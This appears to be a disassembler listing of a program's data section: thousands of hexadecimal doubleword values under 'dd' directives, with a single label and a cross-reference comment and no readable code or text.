dd 179473Fh, 0CFEE51h, 2B92E908h, 0FC07C1B1h, 0E20AF349h
dd 6325C82Ch, 89B8116Ah, 15BE1B45h, 0B184B117h, 0ABED7F80h
dd 2959FF35h, 9DA3FD50h, 7ABDCE92h, 0F532BDB5h, 495DF155h
dd 0DBE98C81h, 4D466E65h, 0A00D6939h, 3064E591h, 480C23A3h
dd 134EFE33h, 81A0194h, 0E914030Ch, 24FFA553h, 0A884015Ah
dd 3F2C2209h, 7F0B7C52h, 2C9552BCh, 6BA2CDADh, 6CF8E25Ah
dd 0DBD19E5Bh, 0B80005F5h, 7003101h, 2AE02D4Fh, 90D2FF7h
dd 773760A3h, 498F7Fh, 1F9119B9h, 49440225h, 0F4352DFFh
dd 0C8078CE1h, 519741DCh, 82484913h, 7C95E8F3h, 0B02C427Fh
dd 4041FF09h, 0C8069305h, 85C7C523h, 0E72AB5D9h, 0CBB89309h
dd 0A1E0E9C5h, 0FEEC7EE3h, 0B945DA85h, 2A97C446h, 72C35807h
dd 60649FE2h, 960A161Ch, 0CE7C95BDh, 6CB60491h, 7AE6608h
dd 0F7F02902h, 311E7C76h, 0A22FF277h, 93A6CB85h, 0D051CACBh
dd 0C5B803A9h, 501B7D24h, 76BBBAD9h, 27EE5A27h, 0CDABF21Eh
dd 6CDEF377h, 3BFC680Ch, 8BB6DB97h, 0B9E6A138h, 508A749Fh
dd 3504612Fh, 0DDA4E94Ch, 0B9E65E8h, 576BD133h, 8FF5B825h
dd 0ABE8A53Eh, 5FE08BEAh, 0C820A9A6h, 71B5D888h, 0E918DDE0h
dd 0EFA9ACECh, 1AD8955Dh, 1E0CC890h, 12505527h, 7570B506h
dd 0F0FDA77Fh, 0C44012E9h, 9773B052h, 59427D62h, 0C1917B57h
dd 50B8D1E9h, 80196D9h, 0DB0D2E00h, 25029D49h, 0CF503E7Dh
dd 84C6E916h, 7FC798D4h, 0CAD9816Eh, 6889EECCh, 9E18912Fh
dd 80F6032Bh, 0F59950C5h, 59ECC0A2h, 8800E894h, 0F6EB86E3h
dd 1708DED5h, 0DC96BDDCh, 2DE4DFDCh, 0EE12809h, 0CD609675h
dd 4AB2319Bh, 4A84B864h
dd 733CBAF0h, 0A094CAF3h, 0E8E60950h, 39F5F968h, 81709626h
dd 3C11A914h, 30AE61D5h, 0C7CD5AF0h, 0DA3DF93Bh, 70E0F807h
dd 3FC84197h, 58E32FF1h, 912E0E31h, 688EBFD3h, 0B19957D6h
dd 0F6229386h, 98ACB204h, 89F79607h, 464C3E64h, 21F8247Fh
dd 0DC585B8Ch, 17099502h, 9FCA9E77h, 0E9E1B7DCh, 0B23A6B3Eh
dd 6A6B78ACh, 8167797h, 567C4125h, 2E946038h, 2086706Dh
dd 2EE9B9BDh, 1828DCF5h, 5A9F2D00h, 0BCE94869h, 0EBA380EDh
dd 7D7066CBh, 5CF42768h, 0A7F21466h, 4EEC710Bh, 0E935815Bh
dd 312A5DD2h, 9F9DB329h, 644DCAABh, 0A6D8E214h, 1073285Eh
dd 0D20A5DD8h, 61ECBB0Fh, 965C42EFh, 0A0EBF2DDh, 9FC962E9h
dd 6AA58871h, 2BF5E9D4h, 75C7564h, 9B42A005h, 0FA36B454h
dd 0CCAC5BD4h, 124833Ah, 5FD3053Ah, 0EAC4FE0Ch, 0ECC0EEF0h
dd 2AFE6208h, 0C79516Fh, 3C2F7E83h, 5DEEC126h, 0D4824082h
dd 32FCD9C3h, 303FD289h, 913DE73h, 0EBD1471Ah, 1B00070Bh
dd 0B08D25F3h, 0DF314813h, 7E0378ECh, 5DE31DC4h, 600EFD3h
dd 53455FFDh, 2415EBBBh, 31F7ECBh, 6A303422h, 32FE3B0h
dd 52416E30h, 4BCB784Eh, 2A268639h, 30D6BD05h, 0B0BB3187h
dd 0DF12CBF2h, 0AA81436Ch, 0BF0186A7h, 103C708Dh, 0DE05209Dh
dd 0EC56BD37h, 30420CCFh, 0EA187FA5h, 9698FE7Ch, 795FF92Dh
dd 0D016659Fh, 1C4F21C4h, 0DC9572B2h, 595FFA6Fh, 25DC2C7Fh
dd 89D57C42h, 1CE75711h, 0CCCBE906h, 4B79EA28h, 2744AB9Ch
dd 1693630Bh, 0BE194C6Dh, 2D6A592Eh, 72CF545Eh, 0FE42CCBAh
dd 8270D2B2h, 0E2CBCE97h, 4BE978EEh, 5BBB49Eh, 0F27BCE45h
dd 27B9D295h, 51C9A52Fh, 5C0574CBh, 0C5E8A48h, 8448802h
dd 2CD7B866h, 6F7460C1h, 0DA86EAC2h, 783A3076h, 0F841D0BDh
dd 441CFEEh, 265AA52h, 0D260A2EAh, 0D55D3682h, 0C7017182h
dd 0AC60795Fh, 0BC7DA798h, 0AED1D781h, 9BBFB521h, 859E276Bh
dd 66649006h, 0AB5305Bh, 724AAC1h, 7202F240h, 0A93F4E52h
dd 0AACF12A3h, 0FFD33BA9h, 84660C99h, 0BE565100h, 3F87501Ch
dd 1D01E6FAh, 0E97A2B16h, 0A62A7869h, 1A1210FBh, 13204A7Eh
dd 0F8CFBE78h, 89DA5F2Bh, 0E21A7622h, 47615BC0h, 1B634E9Eh
dd 0C7550263h, 38A44FE4h, 0BADD9F42h, 0D8DF8024h, 92B49997h
dd 0DF8F9FF6h, 0F83F7748h, 0F225D5A4h, 7B08DC61h, 0F1D571FAh
dd 80959659h, 402068D1h, 0A31E479Fh, 96C2FA7h, 0A2C66C25h
dd 79B53309h, 0F0D29655h, 17A05B9Fh, 9DC07C9Eh, 5D6763EFh
dd 0AA749F43h, 0B8537F44h, 0D947B16Bh, 0A356800h, 0DB60EA96h
dd 276263Ah, 85DA2D58h, 82FF5375h, 0BD4D3E7h, 252CE577h
dd 0C0CC7D54h, 1D8494C8h, 4015975Eh, 519ABF73h, 0B4CF769Fh
dd 57F8A198h, 0D2D7FE29h, 739EA26Ch, 0D6E90F32h, 0FE6BD35Eh
dd 525D7A4Ch, 0B661A035h, 0BB5E95D8h, 10FB5688h, 0D74B7F88h
dd 0FD05F800h, 1B6C6879h, 3856D029h, 20D5DF50h, 13FBF513h
dd 50BB7F8h, 0BB0B4210h, 0E98BCD79h, 9504D8AFh, 1E4087Bh
dd 5CBB8AFBh, 38D04A6Bh, 0F4505AD7h, 9D419298h, 707A22DCh
dd 487A013Eh, 0E7C149ABh, 0B8A03B03h, 8C5F5A68h, 6724E9EEh
dd 10816866h, 1A2E41Bh, 9F897720h, 88F93C0Ah, 0B60B234Dh
dd 99D543D3h, 0A13F6673h, 94122A17h, 172DDEAEh, 0CCB3AB6Ah
dd 0A3B9899Fh, 652CD747h, 806C5E14h, 2F1A278Dh, 138C4AE9h
dd 0BC87EA86h, 296870DCh, 7727265h, 1BFF9946h, 97F5EE77h
dd 772D11CFh, 0EB0195A5h, 67EB84A4h, 73F55F10h, 233FC4DCh
dd 84912FD0h, 65BB30A3h, 0D45CF2A7h, 59722262h, 7259313Bh
dd 18F98713h, 0C981084Ah, 2C35F20Eh, 1DC0DF54h, 8902F3BFh
dd 0EFC595CFh, 4B7E56A7h, 577AA9D0h, 5BB81E59h, 588920A7h
dd 0E9412F54h, 0AB236DF4h, 0FED7067Dh, 696866C7h, 68A85D27h
dd 81D227A9h, 0DAD97004h, 0C97F6F41h, 8610C7F5h, 2927D353h
dd 434E5040h, 0A769523Eh, 0D5B64209h, 63881967h, 935AA453h
dd 177C1F6h, 0C22D2FEFh, 16CF2258h, 0B42752E9h, 0C50EFEA6h
dd 7DA4CD80h, 0E596425Dh, 0C6240BEEh, 0E68871DCh, 0ACD8238Eh
dd 290A1670h, 9276048h, 0C018F582h, 58B43DECh, 176853E0h
dd 17EF9F5Fh, 0D5D2502h, 3570DD50h, 0D4CDED27h, 2F536250h
dd 5AD12101h, 80911E6Fh, 6649BD55h, 5AB52C51h, 375D4BC1h
dd 83CDCA3h, 0E7605D82h, 0EB059EB8h, 0C601DC7Ch, 7CBEB83h
dd 2AF4C9B5h, 0F1C01E61h, 3A667403h, 0C1DDC8B5h, 93C8058Ch
dd 1CB314Bh, 5067EB92h, 7A5DDAD3h, 7CE92518h, 1B7F26E2h
dd 425001D5h, 199C0D1h, 5FF26FCDh, 0A4535118h, 0BF804D22h
dd 0A55D1EA3h, 16B08B65h, 66EC7910h, 0EC2F5C81h, 97571033h
dd 0C100BC4Bh, 4F675914h, 0A549046Bh, 0F3680262h, 45E95678h
dd 549CFE57h, 20A7F7BDh, 0FCE9B35Ah, 804E6340h, 8DA5EBACh
dd 5A32042h, 27C95482h, 0AA533124h, 0F68584A9h, 0E635EB4Dh
dd 1D394ABh, 0BA433908h, 0B2F32A70h, 95F03150h, 6C50B391h
dd 8952C2D0h, 9A1150F2h, 0E15C951Eh, 0E5ED4A5Ch, 0BE12C76h
dd 0DD6A9B2Fh, 0FA60AF85h, 0D5C4C84Bh, 0E90B2745h, 761ED044h
dd 1FC1304Fh, 0C085B05Ch, 6605E807h, 0F6825053h, 64B2812Ch
dd 0B93EC388h, 59E90CB9h, 13B6C11Eh, 83CEFE48h, 195A3DD1h
dd 1274EB7h, 849D135Dh, 405867A4h, 74B06696h, 0CF79419Dh
dd 0C70AD0B0h, 54B21A77h, 0BDA20A20h, 7F1C1BFAh, 0FFBEB36Ch
dd 0EEBCF04Bh, 570E33F5h, 0C5DD0BB7h, 40E76ADCh, 4E5D061Ah
dd 0BF20C095h, 28B9815Ah, 6087891Eh, 9FE1D14Ch, 9A209C78h
dd 0F48003D0h, 58E5087Eh, 0C107EDB1h, 42D56AEBh, 2CC40485h
dd 0C13E64AAh, 7FF73ED7h, 4910F4B3h, 0E78101ADh, 68D3571Fh
dd 2FBD8E40h, 873750D9h, 4E3305FDh, 0EFFA0929h, 4226FC4Eh
dd 549DE972h, 86BB00E8h, 0BA2A916Bh, 310B8265h, 5F940BBBh
dd 6251A8DEh, 5A7689BFh, 281FC020h, 94975AF3h, 99B53FAFh
dd 0AFA2EB2Dh, 4E0A1A47h, 0FC27BE04h, 0BB6D85E1h, 0DAAE93Dh
dd 5BDA49E8h, 0EACAF117h, 31680630h, 0BC3FE146h, 4F43D4EDh
dd 975CD27Ch, 55C03579h, 13566857h, 0BC530A47h, 0E85901DFh
dd 0FD89B53Bh, 0A0C583E4h, 1D74CDB5h, 0BC409B23h, 20D00684h
dd 0C8202B7h, 0D166603Fh, 0A70EB4D4h, 0BFAC6CD4h, 0A9410B28h
dd 0FB80843Bh, 0F7661930h, 27C4B0E9h, 0E5C093Ch, 494D1E2h
dd 9757B05Fh, 0D3209241h, 2D14ECC6h, 97D06410h, 0FA758220h
dd 2BDA09C2h
dword_4F0044 dd 1F0260C9h, 7829D7A8h, 1A6E9DBAh, 14020B3h, 1233FFFBh
; DATA XREF: ___:00437DCCo
dd 0BED0B1E9h, 0F07E0929h, 0D09F98CBh, 0A6D78105h, 5AD7E58Bh
dd 0B18BB07h, 4EF5C5DFh, 5FAFEEC0h, 0D8C1467Ch, 431B784Dh
dd 841B77Dh, 141F6344h, 4405FE92h, 38BA9C61h, 8A0BA44h
dd 0E912D729h, 0B6ABC719h, 2552601Bh, 12145F43h, 0A980E2E9h
dd 8C112E6h, 34E54A0Ch, 0B8094B59h, 0A4D22D86h, 3F8E176h
dd 5A5B5D00h, 3D69852Dh, 8CBC724Fh, 0FCFE0741h, 885161AEh
dd 0D0A631D1h, 85E8E9CCh, 68A690B7h, 55B3DF6Ch, 0BD3FFDD6h
dd 2B291C0Bh, 737621ABh, 0BF51C42Dh, 940949D0h, 0D7D15C96h
dd 0E2F0BB3Bh, 4F1D46BFh, 0D613E922h, 0B8C1DBE8h, 504EEF28h
dd 86CB8127h, 0C5691F28h, 0B5B7EB01h, 0FDE9BFAAh, 29122868h
dd 0F57017EFh, 0AAC4DB87h, 4D0B9352h, 1336D196h, 8319A75Fh
dd 12762568h, 0B35A72F1h, 0BE660591h, 9836337h, 0EB3B047Bh
dd 815D3FF5h, 3D5BD987h, 0FB5385B0h, 90023F9h, 2D2BD573h
dd 0A025FAE3h, 587DD8D6h, 0BD4A5555h, 0AA569EF0h, 2410CB0h
dd 0DCF26855h, 63FFA4CFh, 7F319ACAh, 65D4B532h, 0DE4B1909h
dd 0BA562CCh, 0AE81C77Dh, 0E95650ECh, 7900C04Eh, 0FD3A112Dh
dd 0D8292E37h, 9D082006h, 0C0FBF840h, 7B02D582h, 8001D473h
dd 4B2F28F6h, 0BC0406B3h, 6C7D677h, 0BAF1C3F6h, 0A066330Ch
dd 0BCAFA617h, 0CE1425AAh, 8DE8832Ch, 451B2809h, 2DD2498h
dd 2F18513Fh, 1FCB5E55h, 110FC933h, 0B9C410DFh, 34726BEh
dd 0B85F4203h, 58090946h, 0F92C3268h, 417D8C0Fh, 77EEC685h
dd 2D41D74Ah, 2FB981Bh, 0E919C83Eh, 0BB2FA4Dh, 0DDB7B353h
dd 80FB1830h, 0C01AEE1Ch, 421706D7h, 0A2C10CFFh, 0E913EB1Ah
dd 3A209111h, 4F28310Fh, 4150AD59h, 57FC3A08h, 2BA417F1h
dd 760480E6h, 0F886181Ch, 27FE4E3Eh, 96F03907h, 98EAD13Bh
dd 0E20F92BAh, 5A672768h, 4C836918h, 0D672B9AAh, 1377E137h
dd 0FE20E5F2h, 0A92D64F1h, 7EE14EEEh, 10D9D83Ah, 0FE0F7796h
dd 24A12FC8h, 85AC99BDh, 5D627CC6h, 3FCE2137h, 2F16526Bh
dd 0E868D848h, 1026399Eh, 0BD020C7Ch, 0FD28016Bh, 68B6F3FAh
dd 5DE88539h, 8DBA8568h, 652EE071h, 0C9DC485Ah, 9C2C5F56h
dd 2BFBE824h, 5AC4E3E2h, 17AE1111h, 0E565D001h, 0E84B56BAh
dd 0EC3F488h, 0FE4150A8h, 0C5837A5Dh, 640B3584h, 0BD1980A8h
dd 3F5B1E57h, 74F405EEh, 2116CD81h, 1D88003Ah, 0A0902C84h
dd 0C0B4DF4Dh, 882BC2C7h, 21E9107Ch, 52591376h, 0A8BCBB0Ah
dd 29062D03h, 0C289F973h, 58FFD6Dh, 700F4003h, 72DE628h
dd 9A825A4Bh, 0C8290FA2h, 0BE804B29h, 0F231CD68h, 60BF2E50h
dd 0EE502443h, 0AA2600B4h, 41D9F72Ch, 0AF6E981h, 89B24A05h
dd 89BF59CBh, 46E82ABAh, 0E9B384ADh, 0D5CD0A9Fh, 6B56A9Ch
dd 5801416Bh, 3158C2B0h, 0A71D2875h, 6AB5BA90h, 9BE5FD45h
dd 5C2DED00h, 9C5B0F67h, 6388A81Eh, 7EC98995h, 0EC340989h
dd 0BF916BCCh, 5AA4061Ah, 4F86C044h, 0E9D94A23h, 1DEF354h
dd 2EFAD3AEh, 5486829Fh, 0C258FE5Dh, 7D8061EBh, 55A8B49Ch
dd 82CED695h, 465F1FECh, 22EB895Fh, 1434CCCh, 2BF4C180h
dd 92CBA63h, 0B8E9B202h, 0B900B150h, 14BA108Ah, 121EE181h
dd 11CE452h, 0C556EC3Dh, 0C0C27B05h, 0BBCEA321h, 0B3EA853Eh
dd 0E3DD8483h, 9648EF41h, 8B7FF6DFh, 0E9D6C062h, 8A8488Ah
dd 27DE00D2h, 0BB199012h, 7D0B2569h, 10D5F889h, 9E84E976h
dd 7CD26DDh, 0A223652Ch, 0F3D5E49Eh, 12FD1FD0h, 0B8DEE0BCh
dd 4012E300h, 35D8F771h, 0BFED0B19h, 0BF62298Eh, 75682BD5h
dd 0BEB9DE04h, 4F523D88h, 0AF29AB54h, 94C9A33Bh, 0B61D18A6h
dd 0AA1CE7A1h, 0E840D770h, 940159C9h, 53F7812Fh, 12E6245h
dd 5D26C4F2h, 70E7F140h, 0FABDF855h, 1836FC80h, 340CE050h
dd 90160DD8h, 0C4B08903h, 8C355E43h, 33415896h, 0D28F05F4h
dd 4D66EC88h, 0B5444F38h, 0AB8A5D37h, 0A37AA8D2h, 0D0E2275Ch
dd 66C21A74h, 3CDE097Eh, 0F9C070Dh, 0C7C8C361h, 30D9395Dh
dd 0C0A804DEh, 6BA3FAA8h, 0E906F10h, 4EF78853h, 7FF98BCEh
dd 0E12F6E16h, 489A509Fh, 0E336A4Dh, 0D9832B06h, 24AFE9FBh
dd 2FC3AD50h, 0C59677E7h, 0CAAF54D7h, 0E7424E5Eh, 54B89CE9h
dd 0A2536711h, 5BF24463h, 37CF2A12h, 0A6D395C7h, 21C028FAh
dd 89BABCCAh, 397F2CF6h, 953C596Bh, 54525719h, 5F8C3B9Ah
dd 2C32581h, 0E9418D71h, 0D07A23F7h, 0EB81027Fh, 44208E0Eh
dd 0D449DE0Dh, 1F35806h, 874E35F3h, 81DBF732h, 0ED17128h
dd 3B3031EDh, 203441AEh, 69241C18h, 0F113CA2Bh, 0AEFDE3C5h
dd 71A16251h, 4BB50189h, 7634E368h, 36F51509h, 75AC4A08h
dd 0E85FCADAh, 7088E922h, 707E9792h, 9A480C2h, 5BA68C00h
dd 81004C99h, 61BD59C1h, 0B8CE2920h, 0D8D8BF2Ch, 0DACC5CB5h
dd 4A70EBC0h, 3CFE71E2h, 0EBD4739Fh, 257B4A5Fh, 57E060EEh
dd 0FA012658h, 0BFF7165Eh, 60DB8F88h, 5BC3698Bh, 504F3351h
dd 0E9D683E9h, 742460AAh, 285AE51Eh, 80C3FB29h, 48FF5F08h
dd 8D35C030h, 1A500F60h, 0B33526C7h, 0ED2FF8B1h, 0BD4A54EBh
dd 1792A998h, 641D26C1h, 2BE38A3h, 15BA55FDh, 4E734C5Bh
dd 3952AF29h, 0F638800Bh, 1A076B2Eh, 2917F137h, 852A0D9h
dd 7FA5B4Ch, 5F072C18h, 6805C3CEh, 84F3F55Eh, 0EF1D310Fh
dd 9885B8B3h, 0BCFFBB78h, 0B41087Bh, 0DB078813h, 0D8575059h
dd 14E7C177h, 7EC9ABBBh, 28C6018Ah, 0D94D9F5Dh, 34B22EEEh
dd 75ECBF2Dh, 97F8E597h, 342522A9h, 0E9589CF4h, 0E77D4E2Fh
dd 0E9079899h, 2516BC33h, 2D19B65Dh, 0F9988C5Eh, 6C0BF3B9h
dd 82536711h, 9C0E480h, 9D2C2182h, 622544Dh, 4778D69Fh
dd 1751C95Bh, 78FD5F12h, 0AB529F16h, 4029EC28h, 6C0468BFh
dd 58454259h, 948C7AFh, 8FEAFEA3h, 0E7900A7Bh, 31076730h
dd 5ABD74AFh, 2700EF03h, 621EB725h, 0E9481363h, 0B9E88010h
dd 757D5EB0h, 538E683Ah, 0F6BE1EB5h, 0E03F45CAh, 86172502h
dd 9F487711h, 0E1633E6h, 1FAC4015h, 5DEA29CFh, 64AE01F2h
dd 7BE91E86h, 3A0142D5h, 0B295913h, 1231F1D8h, 0F88FF002h
dd 93A84ED3h, 0BB04AA65h, 472E8241h, 9220B2A7h, 6E1A12EDh
dd 8DC4EB62h, 0D8E90802h, 39D668AEh, 11C22D6Fh, 42604DDh
dd 0AB3393D3h, 2136007Ch, 551AF15Ch, 144EADE9h, 0BE931EE3h
dd 816AF9CDh, 6A96D688h, 1785AC5Eh, 9AAA3689h, 2EEE4549h
dd 1487A739h, 84E95E54h, 0C29EBC8h, 0E25459F1h, 0FB33580h
dd 0BF2B5BF3h, 0F5EF3A2Dh, 4F138F10h, 0FE928BB9h, 6D0854DDh
dd 145725E9h, 0E78D8318h, 4BD2F780h, 0D7E3692h, 25081695h
dd 0E775DDA4h, 91421E1h, 0E455BBDDh, 8AAC204Eh, 0C908F294h
dd 22B501DFh, 0C059EC28h, 0C22D68DCh, 86E29874h, 384A97C0h
dd 0CEBD6875h, 11321251h, 0B04B0E68h, 9000340Bh, 1657B1C6h
dd 0F321EB04h, 59F86EE9h, 59EA2003h, 0E7D3CAFEh, 11956A70h
dd 5F6E8814h, 6501C843h, 7655E1Dh, 0B0EB451Eh, 0DF545616h
dd 2FE388FBh, 28EE0500h, 700D43D3h, 6C7833ACh, 4D5B777Eh
dd 0CEF520AAh, 720542BCh, 0C8B0E933h, 27788CB2h, 0E19E256Dh
dd 2C685E0Ah, 1C97AE3Fh, 0B75F20E0h, 2CD10C54h, 7B80501h
dd 5FBDDFDFh, 62AFBC65h, 0A6043CD1h, 1BD6CB0h, 5C11FABAh
dd 3B5DEB31h, 1A89D5ACh, 29C3F210h, 7A9F7402h, 0E0038F51h
dd 8289B69Ah, 0FDAD1EDDh
dd 6B0BA4A8h, 45F52BA1h, 0D5D36D5Dh, 5D5401E1h, 0EDFE607Eh
dd 3D273B23h, 82C5FA40h, 0FAE60208h, 2F995729h, 628F3AECh
dd 5185277Eh, 54EB5F54h, 105CAC5Ch, 0B6462EE6h, 6A078800h
dd 9DDEF77Dh, 0B1915EC0h, 0D5826624h, 0C16DC002h, 1A958013h
dd 9144F239h, 0D00820E3h, 5E29141Ch, 0A5DB2C3Ah, 1152F2F4h
dd 8B11335Ah, 4B996BBFh, 16D4B73Ah, 3A52FEE9h, 503009BEh
dd 745B6761h, 3C4FD28Dh, 2BF4FA44h, 51176802h, 9270C577h
dd 92524155h, 2E3B6C13h, 7154084h, 0F0A64BA7h, 8421B24Eh
dd 0AF127328h, 2652400Fh, 9894A065h, 0CCE84B11h, 1409B9AEh
dd 0C0299A0Eh, 0E2E9D155h, 30934B08h, 7B44B8C4h, 0E47CB336h
dd 0E8831604h, 48F9B001h, 0C4723500h, 0CBE96A43h, 5811BE1Dh
dd 0D2BD055Dh, 8ED2CA62h, 3477BD93h, 0C20EB58Bh, 1E771C9Fh
dd 4FE9186Bh, 3BBA298Fh, 7930519Fh, 39126858h, 91B29A51h
dd 0F8F37F42h, 17CF73ADh, 588D81D2h, 7CC26F21h, 80E14AB9h
dd 82063B2Ch, 0AC6B53Ah, 489CA420h, 1D25025Ch, 0E3882310h
dd 59031993h, 104CA868h, 2F9B6BD5h, 26627C5Ah, 9DD512F6h
dd 5AD5FAE1h, 0A8E92711h, 1676B168h, 0D5A037B9h, 106E9F01h
dd 0D0A5E931h, 1324A26Bh, 2029E675h, 0D03B32EDh, 254E05B0h
dd 0A43A7B3Dh, 5A925A35h, 0C6CD1F04h, 2DA8A7BEh, 0B367802h
dd 21D335D1h, 3F13E482h, 0F6294429h, 5EA45F11h, 181CC613h
dd 0F6480C59h, 60CE2700h, 6449E963h, 0C3D3CDC3h, 0E5776999h
dd 9F31124Eh, 518F8F97h, 0EB4705E7h, 0F096BF26h, 0B6120C10h
dd 0AAC0FEh, 3058C636h, 0FAE65AF7h, 0F2805B0Bh, 0AE78897Bh
dd 870AA514h, 605AE5ABh, 10D3BF69h, 0AE97DEBDh, 887D1403h
dd 815BB3FAh, 0A32A5AD3h, 0D1A25A35h, 6706D9C0h, 0E9275738h
dd 22D4C882h, 0B268A865h, 3F0EB561h, 5966EF00h, 0E931F830h
dd 0D3019993h, 4396C30h, 68037351h, 0C859F498h, 4A214Dh
dd 82355DE8h, 58472B38h, 3C151950h, 4302A1A0h, 5A41301Bh
dd 0F8C46855h, 7BDE2DBFh, 0CAFD8709h, 0C2637C23h, 0A751455Fh
dd 0EAD39E42h, 0D5FA5743h, 5FAF6465h, 6EDF38EBh, 0D6BD1370h
dd 54F2DBE2h, 7F390441h, 12C5BE20h, 0AA7B5A41h, 5808A810h
dd 2AFF12CBh, 5C93C14h, 1727406Fh, 552995A1h, 39A0962Dh
dd 0E722A3F2h, 0EDE1E4A3h, 563BEEFh, 4CAD4AFAh, 0C2C9E0BFh
dd 0D9A0097Ah, 0D9B5119Eh, 3A6A02D1h, 60E1982Fh, 0CED83BBFh
dd 48AA5E29h, 6612ECF5h, 93E90DC4h, 0F8C7D296h, 5C9F00D0h
dd 0C25F5A02h, 0E25157FDh, 2E6E130Bh, 517BA243h, 0CD89FD6Fh
dd 292D8301h, 14EC900Dh, 4E35BA54h, 0CF0AB91Ah, 0C0D189D0h
dd 758059A4h, 70F3E6C3h, 5BD8029Fh, 0F657B551h, 28A91760h
dd 0C1DE019Ah, 77882F49h, 2722C1C4h, 44C51DA2h, 0AC7DD266h
dd 0B24D02EEh, 5EF0E93Eh, 56500B9Bh, 0A61FC855h, 4AF6B5FAh
dd 71CA87C2h, 0ACE4624Ah, 145A5006h, 0F8347AF4h, 7F3CEA1Ch
dd 0AA009DF1h, 0F410E125h, 20E90215h, 88680BC6h, 62DED679h
dd 9CF58590h, 3A0AA1C1h, 99F9126Ah, 75E06238h, 1BAB040h
dd 108E291Dh, 20D2F742h, 0D60BE544h, 0DE31EF71h, 45ED1F84h
dd 16AAC1Ch, 0D0449A8Eh, 55F57E7Ch, 811C0806h, 23285A14h
dd 0FBF7AED2h, 0A7CA598Ah, 0B2513D48h, 740A295h, 5963A5A1h
dd 7C6AAF82h, 2FBE024Fh, 0CE8E2517h, 9699A152h, 0D52E8FAh
dd 0C496E3AEh, 0BA12F2AAh, 27F3C740h, 97400543h, 1F334042h
dd 7ACABBD9h, 0EC4A12B7h, 0D10A1082h, 78355A3Bh, 5804AE59h
dd 0F2FBF1FDh, 6F88187Ch, 7CFCC68Dh, 0B9625A27h, 7B08416Bh
dd 0E90915A6h, 0AE7A990Ch, 80816D90h, 687F7417h, 6FE19D7Ch
dd 0ECD6A1A3h, 5795B18Ah, 468F417Bh, 0EC61774Eh, 0B48037FAh
dd 5AE3E040h, 9C9DF058h, 6241D74Ah, 0B54BF5C6h, 9BD55F4h
dd 3D3375A9h, 303AEAFCh, 52C3DBAFh, 6B212406h, 899A12B1h
dd 4DE16AA6h, 630A7C40h, 1C81E448h, 924473E2h, 607EF83Fh
dd 4A785612h, 2A0CC039h, 0E90A7537h, 42FAE755h, 0E3C1FAF0h
dd 1A822B74h, 0E1C6F15Ch, 2A1D1BE9h, 47C10F34h, 0DA2FD828h
dd 3CE14A6Ah, 489D8B6Eh, 4A78208Bh, 5E76BD2Dh, 207EB20Bh
dd 0BEF681B1h, 3F5B0960h, 203F789h, 0A74F122Bh, 38B821AAh
dd 0C8280183h, 0B4CE13F3h, 8466B2C5h, 9CD8BECFh, 4FAB690Bh
dd 68848FD9h, 0DD8576Eh, 0FEDB4EF7h, 86F67F31h, 371ACC2Fh
dd 5EBD4D70h, 5BF25389h, 0D278856Ah, 15D8C40Bh, 145F405h
dd 122B26Dh, 111531F7h, 7A5BDF08h, 8ACEDA94h, 0BD13E04Ch
dd 9199EA82h, 0C5EBDF00h, 48011723h, 4BDED89h, 0E3167ABh
dd 403F3AB0h, 73B55D95h, 65DDCB88h, 5CAF2727h, 790E4B81h
dd 4402A846h, 0E613736Ch, 11650947h, 6D5C296Eh, 0E9180820h
dd 52B6C357h, 0CEB40050h, 0E23010B2h, 0D20BF658h, 8436CA80h
dd 2D0B464Eh, 581C376h, 7FA5334Ch, 0F17252FDh, 52C9F51Fh
dd 7D6A05E3h, 8339EE62h, 0B36AFBF9h, 0EF38785Eh, 71BB5E1Eh
dd 30455D2Bh, 3C1308C3h, 18BF7C19h, 0CCF51435h, 6020BE16h
dd 0A932D4EBh, 84B102BCh, 5FCBB753h, 0F455DE62h, 0D0FC5001h
dd 81FF77B2h, 9472C184h, 0F1E15957h, 4A30744h, 7EC02D02h
dd 8F52F1Ah, 6A2407FAh, 6A9CD72Dh, 2581B320h, 9DC53158h
dd 1E1F8049h, 987E5308h, 45D741B7h, 7D5EEA07h, 0C82A1DC9h
dd 822FF650h, 1CC15680h, 810271F4h, 1B15C8E3h, 8FDE576Ah
dd 4D0C759Eh, 0B5041232h, 280F8A5Ch, 29F1A21Dh, 0B4C5C1D9h
dd 0C9F53101h, 680884EEh, 37C86FC1h, 0BC2C802Bh, 0E540DEEh
dd 6616EED9h, 110B1DA3h, 6BD5A832h, 27113EC0h, 5BAEA040h
dd 2896066Fh, 2217BAE9h, 1F260D00h, 3635657Fh, 3F9A3F25h
dd 9D2B3196h, 326C40AAh, 15B60946h, 5D3E7E00h, 0B8E78148h
dd 7B372F0Dh, 0C3252AFCh, 1DC7E0D0h, 2361246Fh, 654C8EF1h
dd 60BC4AF2h, 0AC5892A6h, 0D3F04E53h, 90DD959Dh, 0A86DBCE2h
dd 9780CD80h, 68419C5Eh, 8C3A41A0h, 5A3DB466h, 5D486428h
dd 9270AA8h, 0F60112D6h, 67C06E73h, 0D6E26FF8h, 4116034Ah
dd 0C199535Bh, 0F1D640E1h, 587A40CAh, 4E685058h, 68DB40E4h
dd 3EDE0643h, 5B05252Fh, 9AF6FF5Dh, 446E5617h, 0B748CC91h
dd 37984A07h, 66BA32EBh, 0B6E9EC68h, 90E76D68h, 7F0516EAh
dd 0C8DE50ADh, 0CF2855B2h, 8CB18F4Ah, 4430D93Ah, 5EE5D2EBh
dd 49C79990h, 0C095F783h, 2A90A6FAh, 749FF922h, 53607267h
dd 269FDC09h, 0F6A75D82h, 17ED6769h, 0B7EB7FC7h, 0A97566EAh
dd 94C38B9Bh, 955A4FB1h, 0A244EB41h, 0A444467Bh, 0A4C9FC72h
dd 7F3782h, 0FB4FA7BEh, 4C947958h, 0BA2D87h, 0A6C981E5h
dd 81BF900Ch, 46B02ECh, 889F43h, 7566912Dh, 82259A74h
dd 4B04D707h, 994E446Fh, 0C8B9B800h, 2926E670h, 7EAF25C2h
dd 7F5BE0C4h, 0B5803352h, 1CCC2760h, 0C00E8753h, 0E93D2148h
dd 0BE36805Ch, 5CECF112h, 7F2A4147h, 78CA2914h, 3C95B17Ch
dd 2D4D02Eh, 37F1695Fh, 0A1E90B67h, 93EFB41h, 0F9F43FDAh
dd 5F796AC2h, 0A2FCD118h, 3009D397h, 4035FFC8h, 0CD01021Eh
dd 6208ED14h, 78D3E959h, 0F75B0B74h, 950F42DAh, 92071AEh
dd 10F0B850h, 0CF1EA23Bh, 474FD404h, 7E2ADDBBh, 0C6C33EADh
dd 2A8114B3h, 96C2DA01h, 9544080Ch, 0F3D76241h, 687E097Eh
